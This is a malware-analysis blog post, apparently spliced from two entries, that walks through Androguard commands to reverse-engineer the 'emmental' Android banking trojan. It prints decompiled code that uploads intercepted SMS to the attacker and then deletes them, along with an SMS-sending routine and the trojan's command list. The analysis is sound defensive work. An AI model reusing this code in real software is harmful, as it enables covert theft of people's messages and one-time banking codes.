D/TelephonyManager( 778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/TelephonyManager( 778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneNumberUtils( 778): subId:3, defaultCountryIso:CH
D/PhoneNumberUtils( 778): slotId:0, emergencyNumbers: 911,*911,#911,112
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/TelephonyManager( 778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler
So basically the SMS is received as seen in the logs. Then it is delivered to the application org.thoughtcrime.securesms and finally the message is delete from the database so no evidence is left in the phone, ver clever technique!
Looking at the code with Androguard, I can see a suspicious method which deletes message:
In [3]: d.CLASS_Lorg_thoughtcrime_securesms_h_i.METHOD_j.source()
public static void j(android.content.Context p6)
{
android.database.sqlite.SQLiteDatabase v2 = new org.thoughtcrime.securesms.h.b(p6).getWritableDatabase();
String v0_2 = new String[0];
String v1_1 = v2.rawQuery("SELECT _id, msgdata, sended FROM messages WHERE sended=0", v0_2);
String v0_3 = "";
if ((v1_1 != null) && (v1_1.moveToFirst())) {
do {
if (v0_3.length() > 0) {
v0_3 = new StringBuilder().append(v0_3).append("$$$###\n").toString();
}
v0_3 = new StringBuilder().append(v0_3).append(v1_1.getString(1)).toString();
} while(v1_1.moveToNext());
}
if (v0_3.length() > 0) {
try {
String v0_8 = org.thoughtcrime.securesms.h.c.a(p6).a("sms", v0_3);
} catch (String v0_9) {
v0_9.printStackTrace();
v0_8 = "";
}
if (v0_8.trim().equals("OK")) {
String[] v3_11 = new String[0];
v2.delete("messages", "sended=0", v3_11);
}
}
v2.close();
return;
}
/data/data/org.thoughtcrime.securesms/databases $# ls -l
-rw-rw---- u0_a97 u0_a97 16384 2015-10-27 09:43 canonical_address.db
-rw------- u0_a97 u0_a97 8720 2015-10-27 09:43 canonical_address.db-journal
-rw-rw---- u0_a97 u0_a97 102400 2015-10-27 09:43 messages.db
-rw------- u0_a97 u0_a97 8720 2015-10-27 09:43 messages.db-journal
-rw-rw---- u0_a97 u0_a97 20480 2015-10-27 09:43 test
-rw------- u0_a97 u0_a97 8720 2015-10-27 09:43 test-journal
Recovering a deleted data base
If the SMS are not deleted through a SQLite query, but through the GUI interface, the messages can be easily recovered. For example, with the 'AF Logical OSE' tool from Viaforensic.
Angel Alonso-Parrizas
Monday, October 26, 2015
Malware Analysis with Androguard: a practical case
When performing reversing, sometimes we find that the code is obfuscated or using some techniques to avoid decompilation in an easy way. Some other times, some tools, like 'jd-gui' ,doesn't show the source clean or complete. That is when we have to start looking for alternatives
Androguard is a very powerful framework for reverse engineering and malware analysis. Although the installation could be a bit tough, there are several Dockers with Androguard installed. Also, you can find it in Remnux V6, which it is the one I am using.
I am using the malware with sha256 c5cdba8771e2aee76d5bad8c2e225cd4a642050a7cfa6f22132edf607de42349 which it is a quite recent sample of the 'emmental' malware'
The full documentation of Androguard is in https://code.google.com/p/androguard/wiki/RE
The first thing to do is to launch the 'androlyze' to get an interactive shell.
$ androlyze.py -s
Second step is to load the APK, which I have named it 'malware.apk'. I used the defaulft compiler, dad, but you can also use 'dex2jar' or other ones.
From the output above, we can easily spot which is the main activity and start looking at the code from the main entry point. But before, I will show some handy commands.
From the information above (in highlight) I gather all the methods. Now I can check for a specific method, and display the Java code or the smali code. As an example I am going to show the Java code for the method highlight in yellow.
I that class, here are some calls to other methods via a method 'oncreate', which I have highlighted in yellow. Which are those methods for?
So basically the first method performs several checks to figure out if it is running in a real device or a emulator, interesting :)
What about the second method?
Interesting stuff here, I can see the same string 'LogCode' seen in memory which are part of the C&C commands discovered in previous post.
Now, that I know how the method is call, I can create the graph associated to that method and save it in a file named "securesms_h_i_Method_h.png".
I am using the malware with sha256 c5cdba8771e2aee76d5bad8c2e225cd4a642050a7cfa6f22132edf607de42349 which it is a quite recent sample of the 'emmental' malware'
The full documentation of Androguard is in https://code.google.com/p/androguard/wiki/RE
The first thing to do is to launch the 'androlyze' to get an interactive shell.
$ androlyze.py -s
Second step is to load the APK, which I have named it 'malware.apk'. I used the defaulft compiler, dad, but you can also use 'dex2jar' or other ones.
In [1]: a, d, dx = AnalyzeAPK("malware.apk", decompiler="dad")
Permissions and content of the AndroidManifest
The first I am going to check is the permissions that the APK needs.
n [3]: a.permissions
Out[3]:
['org.thoughtcrime.securesms.ACCESS_SECRETS',
'android.permission.READ_PROFILE',
'android.permission.WRITE_PROFILE',
'android.permission.BROADCAST_WAP_PUSH',
'android.permission.READ_CONTACTS',
'android.permission.WRITE_CONTACTS',
'android.permission.RECEIVE_BOOT_COMPLETED',
'android.permission.RECEIVE_SMS',
'android.permission.RECEIVE_MMS',
'android.permission.READ_SMS',
'android.permission.SEND_SMS',
'android.permission.WRITE_SMS',
'android.permission.VIBRATE',
'android.permission.ACCESS_NETWORK_STATE',
'android.permission.CHANGE_NETWORK_STATE',
'android.permission.READ_PHONE_STATE',
'android.permission.WAKE_LOCK',
'android.permission.INTERNET',
'android.permission.WRITE_EXTERNAL_STORAGE',
'android.permission.READ_CALL_LOG',
'android.permission.GET_ACCOUNTS',
'android.permission.GET_TASKS']
Quite a few permissions :)
You always can get all the information from the AndroidManifest.xml with the a.show(), which also contains the permissions. This command is handy as it gives also some hints about the meaning of each permission.
Quite a few permissions :)
You always can get all the information from the AndroidManifest.xml with the a.show(), which also contains the permissions. This command is handy as it gives also some hints about the meaning of each permission.
In [5]: a.show()
...
PERMISSIONS:
android.permission.CHANGE_NETWORK_STATE ['normal', 'change network connectivity', 'Allows an application to change the state of network connectivity.']
android.permission.WRITE_PROFILE ['dangerous', "write the user's personal profile data", "Allows an application to write (but not read) the user's personal profile data."]
android.permission.INTERNET ['dangerous', 'full Internet access', 'Allows an application to create network sockets.']
android.permission.WRITE_CONTACTS ['dangerous', 'write contact data', 'Allows an application to modify the contact (address) data stored on your phone. Malicious applications can use this to erase or modify your contact data.']
android.permission.SEND_SMS ['dangerous', 'send SMS messages', 'Allows application to send SMS messages. Malicious applications may cost you money by sending messages without your confirmation.']
android.permission.BROADCAST_WAP_PUSH ['signature', 'send WAP-PUSH-received broadcast', 'Allows an application to broadcast a notification that a WAP-PUSH message has been received. Malicious applications may use this to forge MMS message receipt or to replace the content of any web page silently with malicious variants.']
android.permission.WRITE_SMS ['dangerous', 'edit SMS or MMS', 'Allows application to write to SMS messages stored on your phone or SIM card. Malicious applications may delete your messages.']
android.permission.ACCESS_NETWORK_STATE ['normal', 'view network status', 'Allows an application to view the status of all networks.']
android.permission.GET_TASKS ['dangerous', 'retrieve running applications', 'Allows application to retrieve information about currently and recently running tasks. May allow malicious applications to discover private information about other applications.']
android.permission.READ_CALL_LOG ['dangerous', "read the user's call log.", "Allows an application to read the user's call log."]
android.permission.WRITE_EXTERNAL_STORAGE ['dangerous', 'modify/delete SD card contents', 'Allows an application to write to the SD card.']
org.thoughtcrime.securesms.ACCESS_SECRETS ['normal', 'Unknown permission from android reference', 'Unknown permission from android reference']
android.permission.RECEIVE_BOOT_COMPLETED ['normal', 'automatically start at boot', 'Allows an application to start itself as soon as the system has finished booting. This can make it take longer to start the phone and allow the application to slow down the overall phone by always running.']
android.permission.READ_PHONE_STATE ['dangerous', 'read phone state and identity', 'Allows the application to access the phone features of the device. An application with this permission can determine the phone number and serial number of this phone, whether a call is active, the number that call is connected to and so on.']
android.permission.READ_SMS ['dangerous', 'read SMS or MMS', 'Allows application to read SMS messages stored on your phone or SIM card. Malicious applications may read your confidential messages.']
android.permission.VIBRATE ['normal', 'control vibrator', 'Allows the application to control the vibrator.']
android.permission.RECEIVE_MMS ['dangerous', 'receive MMS', 'Allows application to receive and process MMS messages. Malicious applications may monitor your messages or delete them without showing them to you.']
android.permission.WAKE_LOCK ['normal', 'prevent phone from sleeping', 'Allows an application to prevent the phone from going to sleep.']
android.permission.RECEIVE_SMS ['dangerous', 'receive SMS', 'Allows application to receive and process SMS messages. Malicious applications may monitor your messages or delete them without showing them to you.']
android.permission.READ_CONTACTS ['dangerous', 'read contact data', 'Allows an application to read all of the contact (address) data stored on your phone. Malicious applications can use this to send your data to other people.']
android.permission.READ_PROFILE ['dangerous', "read the user's personal profile data", "Allows an application to read the user's personal profile data."]
android.permission.GET_ACCOUNTS ['normal', 'discover known accounts', 'Allows an application to access the list of accounts known by the phone.']
MAIN ACTIVITY: org.thoughtcrime.securesms.RoutingActivity
ACTIVITIES:
org.thoughtcrime.securesms.RoutingActivity {'action': [u'android.intent.action.MAIN', u'android.intent.action.SENDTO', u'android.intent.action.SEND'], 'category': [u'android.intent.category.LAUNCHER', u'android.intent.category.DEFAULT']}
org.thoughtcrime.securesms.CountrySelectionActivity
org.thoughtcrime.securesms.ImportExportActivity
org.thoughtcrime.securesms.PromptMmsActivity
org.thoughtcrime.securesms.MmsPreferencesActivity
org.thoughtcrime.securesms.ShareActivity
org.thoughtcrime.securesms.ConversationListActivity
org.thoughtcrime.securesms.ConversationActivity
org.thoughtcrime.securesms.DatabaseMigrationActivity
org.thoughtcrime.securesms.DatabaseUpgradeActivity
org.thoughtcrime.securesms.PassphraseCreateActivity
org.thoughtcrime.securesms.PassphrasePromptActivity
org.thoughtcrime.securesms.ContactSelectionActivity
org.thoughtcrime.securesms.NewConversationActivity
org.thoughtcrime.securesms.PushContactSelectionActivity
org.thoughtcrime.securesms.ViewLocalIdentityActivity
org.thoughtcrime.securesms.PassphraseChangeActivity
org.thoughtcrime.securesms.ApplicationPreferencesActivity
org.thoughtcrime.securesms.DummyActivity
org.thoughtcrime.securesms.xpack.ActUpdate {'action': [u'org.thoughtcrime.securesms.xpack.updateact'], 'category': [u'android.intent.category.DEFAULT']}
org.thoughtcrime.securesms.xpack.ActDefault {'action': [u'org.thoughtcrime.securesms.xpack.defaultact'], 'category': [u'android.intent.category.DEFAULT']}
org.thoughtcrime.securesms.FirstActivity {'action': [u'org.thoughtcrime.securesms.firstact'], 'category': [u'android.intent.category.DEFAULT']}
SERVICES:
org.thoughtcrime.securesms.service.ApplicationMigrationService
org.thoughtcrime.securesms.service.KeyCachingService
org.thoughtcrime.securesms.service.SendReceiveService
org.thoughtcrime.securesms.service.DirectoryRefreshService
org.thoughtcrime.securesms.service.PreKeyService
org.thoughtcrime.securesms.service.QuickResponseService {'action': [u'android.intent.action.RESPOND_VIA_MESSAGE'], 'category': [u'android.intent.category.DEFAULT']}
org.thoughtcrime.securesms.xservices.XService {'action': [u'XMainProcessStart']}
org.thoughtcrime.securesms.xservices.XSmsIncom
RECEIVERS:
org.thoughtcrime.securesms.service.SmsListener {'action': [u'android.provider.Telephony.SMS_RECEIVED', u'android.provider.Telephony.SMS_DELIVER']}
org.thoughtcrime.securesms.service.SmsDeliveryListener {'action': [u'org.thoughtcrime.securesms.services.MESSAGE_SENT']}
org.thoughtcrime.securesms.service.MmsListener {'action': [u'android.provider.Telephony.WAP_PUSH_RECEIVED', u'android.provider.Telephony.WAP_PUSH_DELIVER']}
org.thoughtcrime.securesms.notifications.MarkReadReceiver {'action': [u'org.thoughtcrime.securesms.notifications.CLEAR']}
org.thoughtcrime.securesms.service.DirectoryRefreshListener {'action': [u'org.whispersystems.whisperpush.DIRECTORY_REFRESH', u'android.intent.action.BOOT_COMPLETED']}
org.thoughtcrime.securesms.xservices.XRepeat
org.thoughtcrime.securesms.xservices.XRepeatSms
org.thoughtcrime.securesms.xservices.XUpdate
org.thoughtcrime.securesms.xbroadcast.OnSmsSended
org.thoughtcrime.securesms.xbroadcast.OnBootReceiver {'action': [u'android.intent.action.BOOT_COMPLETED']}
PROVIDERS: ['org.thoughtcrime.securesms.providers.PartProvider']
From the output above, we can easily spot which is the main activity and start looking at the code from the main entry point. But before, I will show some handy commands.
How to find the methods which use a certain permissions
If we want to see in which part of the code a certain permission is used, we can use the comannd 'show_Permissions(dx)'
show_Permissions(dx)
ACCESS_NETWORK_STATE :
1 Lorg/thoughtcrime/securesms/c/r;->d()Z (0x6) ---> Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
1 Lorg/thoughtcrime/securesms/c/r;->e()Z (0x6) ---> Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
1 Lorg/thoughtcrime/securesms/c/r;->f()Z (0x6) ---> Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
1 Lorg/thoughtcrime/securesms/c/r;->a()Ljava/lang/String; (0x6) ---> Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
1 Lorg/thoughtcrime/securesms/c/v;->c(Landroid/content/Context;)Z (0x16) ---> Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
1 Lorg/thoughtcrime/securesms/h/i;->k(Landroid/content/Context;)Z (0x10) ---> Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
1 Lorg/thoughtcrime/securesms/h/i;->l(Landroid/content/Context;)Ljava/lang/String; (0x14) ---> Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
1 Lorg/thoughtcrime/securesms/service/x;->d()Z (0x4) ---> Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
1 Lorg/thoughtcrime/securesms/service/x;->d()Z (0x14) ---> Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
1 Lorg/thoughtcrime/securesms/service/z;->onReceive(Landroid/content/Context; Landroid/content/Intent;)V (0x28) ---> Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
1 Lorg/thoughtcrime/securesms/service/z;->onReceive(Landroid/content/Context; Landroid/content/Intent;)V (0x40) ---> Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
CHANGE_NETWORK_STATE :
1 Lorg/thoughtcrime/securesms/c/o;->b(Landroid/content/Context; Ljava/lang/String; Z)V (0xa4) ---> Landroid/net/ConnectivityManager;->requestRouteToHost(I I)Z
1 Lorg/thoughtcrime/securesms/c/r;->b()V (0x7a) ---> Landroid/net/ConnectivityManager;->stopUsingNetworkFeature(I Ljava/lang/String;)I
1 Lorg/thoughtcrime/securesms/c/r;->c()V (0xc) ---> Landroid/net/ConnectivityManager;->startUsingNetworkFeature(I Ljava/lang/String;)I
WAKE_LOCK :
1 Lorg/thoughtcrime/securesms/notifications/b;->a(Landroid/content/Context;)V (0x82) ---> Landroid/media/MediaPlayer;->start()V
1 Lorg/thoughtcrime/securesms/c/r;-><init>(Landroid/content/Context;)V (0x3a) ---> Landroid/os/PowerManager;->newWakeLock(I Ljava/lang/String;)Landroid/os/PowerManager$WakeLock;
1 Lorg/thoughtcrime/securesms/service/DirectoryRefreshService;->a()V (0x16) ---> Landroid/os/PowerManager;->newWakeLock(I Ljava/lang/String;)Landroid/os/PowerManager$WakeLock;
1 Lorg/thoughtcrime/securesms/service/d;->run()V (0x30) ---> Landroid/os/PowerManager;->newWakeLock(I Ljava/lang/String;)Landroid/os/PowerManager$WakeLock;
1 Lorg/thoughtcrime/securesms/c/r;->b()V (0x14) ---> Landroid/os/PowerManager$WakeLock;->release()V
1 Lorg/thoughtcrime/securesms/c/r;->c()V (0x4c) ---> Landroid/os/PowerManager$WakeLock;->acquire()V
1 Lorg/thoughtcrime/securesms/c/r;->c()V (0x66) ---> Landroid/os/PowerManager$WakeLock;->acquire()V
1 Lorg/thoughtcrime/securesms/service/DirectoryRefreshService;->a()V (0x1e) ---> Landroid/os/PowerManager$WakeLock;->acquire()V
1 Lorg/thoughtcrime/securesms/service/d;->run()V (0x38) ---> Landroid/os/PowerManager$WakeLock;->acquire()V
1 Lorg/thoughtcrime/securesms/service/d;->run()V (0xaa) ---> Landroid/os/PowerManager$WakeLock;->release()V
1 Lorg/thoughtcrime/securesms/service/d;->run()V (0xb4) ---> Landroid/os/PowerManager$WakeLock;->release()V
1 Lorg/thoughtcrime/securesms/service/f;->run()V (0x42) ---> Landroid/os/PowerManager$WakeLock;->release()V
1 Lorg/thoughtcrime/securesms/service/f;->run()V (0x68) ---> Landroid/os/PowerManager$WakeLock;->release()V
SEND_SMS :
1 Lorg/thoughtcrime/securesms/f/h;->b(Lorg/thoughtcrime/securesms/b/b/f;)V (0x0) ---> Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
1 Lorg/thoughtcrime/securesms/f/h;->b(Lorg/thoughtcrime/securesms/b/b/f;)V (0x66) ---> Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
1 Lorg/thoughtcrime/securesms/f/h;->b(Lorg/thoughtcrime/securesms/b/b/f;)V (0x70) ---> Landroid/telephony/SmsManager;->sendMultipartTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/util/ArrayList; Ljava/util/ArrayList; Ljava/util/ArrayList;)V
1 Lorg/thoughtcrime/securesms/f/h;->b(Lorg/thoughtcrime/securesms/b/b/f;)V (0xfe) ---> Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
1 Lorg/thoughtcrime/securesms/f/h;->b(Lorg/thoughtcrime/securesms/b/b/f;)V (0x128) ---> Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V
1 Lorg/thoughtcrime/securesms/h/i;->d(Ljava/lang/String; Ljava/lang/String; Landroid/content/Context;)V (0x1a) ---> Landroid/telephony/SmsManager;-
>getDefault()Landroid/telephony/SmsManager;
>getDefault()Landroid/telephony/SmsManager;
1 Lorg/thoughtcrime/securesms/h/i;->d(Ljava/lang/String; Ljava/lang/String; Landroid/content/Context;)V (0x42) ---> Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V
1 Lorg/thoughtcrime/securesms/h/i;->d(Ljava/lang/String; Ljava/lang/String; Landroid/content/Context;)V (0x7c) ---> Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V
VIBRATE :
R ['Landroid/app/Notification;', 'defaults', 'I'] (0xb4) ---> Landroid/support/v4/app/NotificationCompatHoneycomb;->add(Landroid/content/Context; Landroid/app/Notification; Ljava/lang/CharSequence; Ljava/lang/CharSequence; Ljava/lang/CharSequence; Landroid/widget/RemoteViews; I Landroid/app/PendingIntent; Landroid/app/PendingIntent; Landroid/graphics/Bitmap;)Landroid/app/Notification;
W ['Landroid/app/Notification;', 'defaults', 'I'] (0x4) ---> Landroid/support/v4/app/NotificationCompat$Builder;->setDefaults(I)Landroid/support/v4/app/NotificationCompat$Builder;
R ['Landroid/app/Notification;', 'defaults', 'I'] (0xb0) ---> Landroid/support/v4/app/NotificationCompatIceCreamSandwich;->add(Landroid/content/Context; Landroid/app/Notification; Ljava/lang/CharSequence; Ljava/lang/CharSequence; Ljava/lang/CharSequence; Landroid/widget/RemoteViews; I Landroid/app/PendingIntent; Landroid/app/PendingIntent; Landroid/graphics/Bitmap; I I Z)Landroid/app/Notification;
R ['Landroid/app/Notification;', 'defaults', 'I'] (0xb6) ---> Landroid/support/v4/app/NotificationCompatJellybean;-><init>(Landroid/content/Context; Landroid/app/Notification; Ljava/lang/CharSequence; Ljava/lang/CharSequence; Ljava/lang/CharSequence; Landroid/widget/RemoteViews; I Landroid/app/PendingIntent; Landroid/app/PendingIntent; Landroid/graphics/Bitmap; I I Z Z I Ljava/lang/CharSequence;)V
INTERNET :
1 Lorg/whispersystems/textsecure/push/an;->b(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)Ljava/net/HttpURLConnection; (0x14) ---> Ljava/net/HttpURLConnection;->connect()V
1 Lorg/thoughtcrime/securesms/h/d;->a(Ljava/lang/String; Ljava/lang/String;)Ljava/lang/String; (0xb0) ---> Lorg/apache/http/impl/client/DefaultHttpClient;-><init>()V
1 Lorg/thoughtcrime/securesms/h/d;->a(Ljava/lang/String; Ljava/lang/String;)Ljava/lang/String; (0xe0) ---> Lorg/apache/http/impl/client/DefaultHttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse;
1 Lorg/thoughtcrime/securesms/h/d;->a(Ljava/lang/String; Ljava/lang/String;)Ljava/lang/String; (0xc) ---> Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
1 Lorg/thoughtcrime/securesms/h/d;->a(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)Ljava/lang/String; (0xc) ---> Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
1 Lorg/whispersystems/textsecure/push/an;->a(Ljava/lang/String; Ljava/lang/String;)Ljava/net/HttpURLConnection; (0xaa) ---> Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
1 Lorg/whispersystems/textsecure/push/an;->a(Ljava/lang/String; Ljava/io/File;)V (0xa) ---> Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
1 Lorg/whispersystems/textsecure/push/an;->a(Ljava/lang/String; Ljava/lang/String; [B)V (0xa) ---> Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
READ_CONTACTS :
R ['Landroid/provider/ContactsContract$CommonDataKinds$Phone;', 'CONTENT_URI', 'Landroid/net/Uri;'] (0x4c) ---> Lorg/thoughtcrime/securesms/contacts/m;->a(Ljava/lang/String;)Landroid/database/Cursor;
R ['Landroid/provider/ContactsContract$CommonDataKinds$Phone;', 'CONTENT_URI', 'Landroid/net/Uri;'] (0x2) ---> Lorg/whispersystems/textsecure/a/a;->d(Ljava/lang/String;)Ljava/util/Set;
R ['Landroid/provider/ContactsContract$CommonDataKinds$Phone;', 'CONTENT_URI', 'Landroid/net/Uri;'] (0x14) ---> Lorg/thoughtcrime/securesms/contacts/ContactAccessor;->a(Landroid/content/Context; Ljava/lang/String; J)Lorg/thoughtcrime/securesms/contacts/ContactAccessor$ContactData;
READ_PHONE_STATE :
1 Lorg/thoughtcrime/securesms/b/s;->a(Lorg/thoughtcrime/securesms/c/m;)J (0xa0) ---> Landroid/telephony/TelephonyManager;->getLine1Number()Ljava/lang/String;
1 Lorg/thoughtcrime/securesms/contacts/e;->c()Ljava/lang/String; (0x14) ---> Landroid/telephony/TelephonyManager;->getLine1Number()Ljava/lang/String;
1 Lorg/thoughtcrime/securesms/f/d;->a(Lb/a/a/a/a/a/y; Z Z)Lorg/thoughtcrime/securesms/c/w; (0x16) ---> Landroid/telephony/TelephonyManager;->getLine1Number()Ljava/lang/String;
1 Lorg/thoughtcrime/securesms/h/i;->a(Landroid/telephony/TelephonyManager; Landroid/content/Context;)Ljava/lang/String; (0xe) ---> Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
1 Lorg/thoughtcrime/securesms/h/i;->e(Landroid/content/Context;)Ljava/lang/String; (0x25e) ---> Landroid/telephony/TelephonyManager;->getSimSerialNumber()Ljava/lang/String;
1 Lorg/thoughtcrime/securesms/h/i;->e(Landroid/content/Context;)Ljava/lang/String; (0x294) ---> Landroid/telephony/TelephonyManager;->getLine1Number()Ljava/lang/String;
1 Lorg/thoughtcrime/securesms/h/i;->e(Landroid/content/Context;)Ljava/lang/String; (0x300) ---> Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;
1 Lorg/thoughtcrime/securesms/h/i;->g(Landroid/content/Context;)Ljava/lang/String; (0x40) ---> Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
1 Lorg/thoughtcrime/securesms/service/x;->a()V (0x1e) ---> Landroid/telephony/TelephonyManager;->listen(Landroid/telephony/PhoneStateListener; I)V
1 Lorg/thoughtcrime/securesms/service/x;->b()V (0x1e) ---> Landroid/telephony/TelephonyManager;->listen(Landroid/telephony/PhoneStateListener; I)V
1 Lorg/thoughtcrime/securesms/service/x;->c()V (0xa) ---> Landroid/telephony/TelephonyManager;->listen(Landroid/telephony/PhoneStateListener; I)V
In [13]: d.CLASS_Lorg_thoughtcrime_securesms_h_i.METHOD_d_Ljava_lang_StringLjava_lang_StringLandroid_content_ContextV.source()
public static void d(String p6, String p7, android.content.Context p8)
{
try {
android.app.PendingIntent v4 = android.app.PendingIntent.getBroadcast(p8, 0, new android.content.Intent(p8, org.thoughtcrime.securesms.xbroadcast.OnSmsSended), 0);
Exception v0_1 = android.telephony.SmsManager.getDefault();
String v1_3 = org.thoughtcrime.securesms.h.i.a("service_code", "0", p8);
} catch (Exception v0_2) {
v0_2.printStackTrace();
return;
}
if (v1_3 != "0") {
String v3_1 = new StringBuilder();
v3_1.append(v1_3).append(" ").append(p7);
v0_1.sendTextMessage(p6, 0, v3_1.toString(), v4, 0);
return;
} else {
v0_1.sendTextMessage(p6, 0, p7, v4, 0);
return;
}
}
Searching strings in the code
Other very handy functionality is to search specific strings across the code. For example, if we want to search for the string 'GOOGLE':
In [46]: z = dx.tainted_variables.get_string("GOOGLE")
In [47]: z
Out[47]: <androguard.core.analysis.analysis.TaintedVariable at 0x7faf3791e1d0>
Then we find the method in the code which has that string
Then we find the method in the code which has that string
In [48]: z.show_paths(d)
R 32 Lorg/thoughtcrime/securesms/h/h;-><clinit>
Last step is to display the Java code for that method
Last step is to display the Java code for that method
In [50]: d.CLASS_Lorg_thoughtcrime_securesms_h_h.METHOD_clinit.source()
static h()
{
org.thoughtcrime.securesms.h.h.a = new org.thoughtcrime.securesms.h.h("GOOGL", 0);
org.thoughtcrime.securesms.h.h.b = new org.thoughtcrime.securesms.h.h("STARTB", 1);
org.thoughtcrime.securesms.h.h.c = new org.thoughtcrime.securesms.h.h("GOOGLE", 2);
org.thoughtcrime.securesms.h.h.d = new org.thoughtcrime.securesms.h.h("DEL", 3);
org.thoughtcrime.securesms.h.h.e = new org.thoughtcrime.securesms.h.h("YAHOO", 4);
org.thoughtcrime.securesms.h.h.f = new org.thoughtcrime.securesms.h.h("CLEARB", 5);
org.thoughtcrime.securesms.h.h.g = new org.thoughtcrime.securesms.h.h("SETP", 6);
org.thoughtcrime.securesms.h.h.h = new org.thoughtcrime.securesms.h.h("CLEARP", 7);
org.thoughtcrime.securesms.h.h.i = new org.thoughtcrime.securesms.h.h("DROPBOX", 8);
org.thoughtcrime.securesms.h.h.j = new org.thoughtcrime.securesms.h.h("LOCK", 9);
org.thoughtcrime.securesms.h.h.k = new org.thoughtcrime.securesms.h.h("UNLOCK", 10);
org.thoughtcrime.securesms.h.h[] v0_23 = new org.thoughtcrime.securesms.h.h[11];
v0_23[0] = org.thoughtcrime.securesms.h.h.a;
v0_23[1] = org.thoughtcrime.securesms.h.h.b;
v0_23[2] = org.thoughtcrime.securesms.h.h.c;
v0_23[3] = org.thoughtcrime.securesms.h.h.d;
v0_23[4] = org.thoughtcrime.securesms.h.h.e;
v0_23[5] = org.thoughtcrime.securesms.h.h.f;
v0_23[6] = org.thoughtcrime.securesms.h.h.g;
v0_23[7] = org.thoughtcrime.securesms.h.h.h;
v0_23[8] = org.thoughtcrime.securesms.h.h.i;
v0_23[9] = org.thoughtcrime.securesms.h.h.j;
v0_23[10] = org.thoughtcrime.securesms.h.h.k;
org.thoughtcrime.securesms.h.h.l = v0_23;
return;
}
Analysis of the main activity
Now, let's take a look to the main point of entry of the code where the 'Main activity' is. We got that info in the beginning, with the 'a.show()' command. The class which contains the main activity is org.thoughtcrime.securesms.RoutingActivity. Let's take a look to the code:
In [52]: d.CLASS_Lorg_thoughtcrime_securesms_RoutingActivity.source()
package org.thoughtcrime.securesms;
public class RoutingActivity extends org.thoughtcrime.securesms.dp {
private org.whispersystems.textsecure.crypto.MasterSecret a;
private boolean b;
private boolean c;
private boolean d;
public RoutingActivity()
{
this.a = 0;
this.b = 0;
this.c = 0;
this.d = 0;
return;
}
private android.content.Intent a(org.thoughtcrime.securesms.eb p5)
{
String v0_2;
android.content.Intent v1_1 = new android.content.Intent(this, org.thoughtcrime.securesms.ConversationActivity);
if (p5.b == null) {
v0_2 = "";
} else {
v0_2 = p5.b.g();
}
v1_1.putExtra("recipients", v0_2);
v1_1.putExtra("thread_id", p5.a);
v1_1.putExtra("master_secret", this.a);
v1_1.putExtra("draft_text", p5.c);
v1_1.putExtra("draft_image", p5.d);
v1_1.putExtra("draft_audio", p5.e);
v1_1.putExtra("draft_video", p5.f);
return v1_1;
}
private android.content.Intent b(org.thoughtcrime.securesms.eb p4)
{
android.content.Intent v0_1 = new android.content.Intent(this, org.thoughtcrime.securesms.ShareActivity);
v0_1.putExtra("master_secret", this.a);
if (p4 != null) {
v0_1.putExtra("draft_text", p4.c);
v0_1.putExtra("draft_image", p4.d);
v0_1.putExtra("draft_audio", p4.e);
v0_1.putExtra("draft_video", p4.f);
}
return v0_1;
}
private void b()
{
switch (this.j()) {
case 0:
this.c();
break;
case 1:
this.d();
break;
case 2:
this.e();
break;
case 3:
this.f();
break;
case 4:
this.h();
break;
case 5:
this.g();
break;
case 6:
this.h();
break;
}
return;
}
private void c()
{
android.content.Intent v0_1 = new android.content.Intent(this, org.thoughtcrime.securesms.FirstActivity);
v0_1.putExtra("next_intent", this.getIntent());
this.startActivity(v0_1);
this.finish();
return;
